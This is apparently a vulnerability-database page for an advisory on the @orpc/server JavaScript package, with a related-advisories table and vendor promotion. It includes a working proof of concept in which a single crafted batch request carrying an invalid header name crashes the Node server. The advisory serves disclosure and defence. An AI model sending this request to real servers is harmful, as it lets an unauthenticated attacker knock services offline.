New from Wiz Research: Critical NGINX flaw. Understand the risk and impact.
Vulnerability DatabaseGHSA-p4q5-rhgr-hg46

GHSA-p4q5-rhgr-hg46: 
JavaScript vulnerability analysis and mitigation

Prerequisites

  • Both BatchHandlerPlugin and RequestHeadersPlugin are enabled with default options.
  • Default Node Server Runtime

Proof of concept

  1. run server.js
import { createServer } from "node:http";
import { os, onError } from "@orpc/server";
import { RPCHandler } from "@orpc/server/node";
import { BatchHandlerPlugin, RequestHeadersPlugin } from "@orpc/server/plugins";
const neverTrigger = () => console.log("neverTrigger");
const router = { ping: os.handler(() => "pong") };
const handler = new RPCHandler(router, {
  plugins: [new RequestHeadersPlugin(), new BatchHandlerPlugin()],
  interceptors: [onError(neverTrigger)],
  clientInterceptors: [onError(neverTrigger)],
});
// https://v1.orpc.dev/docs/adapters/http#server-adapters
const server = createServer(async (req, res) => {
  const { matched } = await handler.handle(req, res, {
    prefix: "/rpc",
    context: {},
  });
  if (matched) return;
  res.statusCode = 404;
  res.end("Not found");
});
server.on("error", neverTrigger);
server.on("clientError", neverTrigger);
server.listen(5075, "127.0.0.1");
  1. run client.js
import net from "net";
const body = JSON.stringify([
  { url: "http://127.0.0.1:5075/rpc/ping", headers: { "a b": "1" } },
]);
const socket = net.connect(5075, "127.0.0.1");
socket.write(
  `POST /rpc/ping HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Orpc-Batch: 1\r\nContent-Type: application/json\r\nContent-Length: ${body.length}\r\n\r\n${body}`,
);
socket.on("error", console.log);
  1. server process crash with following error
node:internal/deps/undici/undici:4913
      return new TypeError(`${message.header}: ${message.message}`);
             ^
TypeError: Headers.append: "a b" is an invalid header name.
    at webidl.errors.exception (node:internal/deps/undici/undici:4913:14)
    at webidl.errors.invalidArgument (node:internal/deps/undici/undici:4924:28)
    at appendHeader (node:internal/deps/undici/undici:11249:29)
    at _Headers.append (node:internal/deps/undici/undici:11500:16)
    at toFetchHeaders (node_modules/@orpc/standard-server-fetch/dist/index.mjs:249:20)
    at node_modules/@orpc/server/dist/plugins/index.mjs:199:67
    at next (@orpc/shared/dist/index.mjs:528:12)
    at Object.next (node_modules/@orpc/shared/dist/index.mjs:530:40)
    at node_modules/@orpc/server/dist/plugins/index.mjs:59:31
    at Array.map (<anonymous>)
Node.js v24.22.3

Impact

A single unauthenticated HTTP request can terminate the server process, causing a full denial of service.


Source: NVD

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-5vm7-vc2x-p3w2HIGH7.5
  • JavaScript logoJavaScript
  • graphql-upload
NoNoNov 18, 2026
GHSA-p4q5-rhgr-hg46HIGH7.5
  • JavaScript logoJavaScript
  • @orpc/server
NoYesNov 18, 2026
GHSA-3xgv-mvj6-g78rMEDIUM6.5
  • JavaScript logoJavaScript
  • @modelcontextprotocol/inspector
NoYesNov 18, 2026
GHSA-qwwm-252j-9whwMEDIUM5.3
  • JavaScript logoJavaScript
  • graphql-upload
NoNoNov 18, 2026
GHSA-38j4-j742-j7r3LOW3.7
  • JavaScript logoJavaScript
  • @modelcontextprotocol/server-everything
NoYesNov 18, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management